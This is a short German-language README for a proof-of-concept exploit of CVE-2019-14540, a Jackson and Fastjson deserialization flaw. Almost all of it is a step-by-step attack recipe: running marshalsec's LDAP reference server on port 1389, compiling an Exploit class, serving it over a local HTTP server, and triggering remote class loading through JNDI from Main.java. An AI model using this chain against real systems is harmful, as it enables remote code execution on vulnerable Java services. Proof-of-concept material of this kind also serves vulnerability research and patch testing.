CVE-2019-14540 Exploit

http://www.leadroyal.cn/?p=939

Umgebungseinschränkung: Da dieses Demo die jndi ldap-Methode verwendet, wird eine niedrige JDK-Version (kleiner als 8u191) benötigt.

1. Verwendung von marshalsec, um einen ldap-Dienst auf dem lokalen Port 1389 zu erstellen, der auf den lokalen HTTP-Dienst auf Port 8000 verweist

git clone https://github.com/mbechler/marshalsec.git
mvn package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

2. Kompilieren des Codes für den Remote-Ladevorgang im remote_codebase-Verzeichnis

cd remote_codebase
javac Exploit.java

3. Starten des lokalen HTTP-Dienstes auf Port 8000 im remote_codebase-Verzeichnis

cd remote_codebase
python -m SimpleHTTPServer

4. Ausführen von Main.java, um die Sicherheitslücke mittels Jackson- und Fastjson-Deserialisierung auszulösen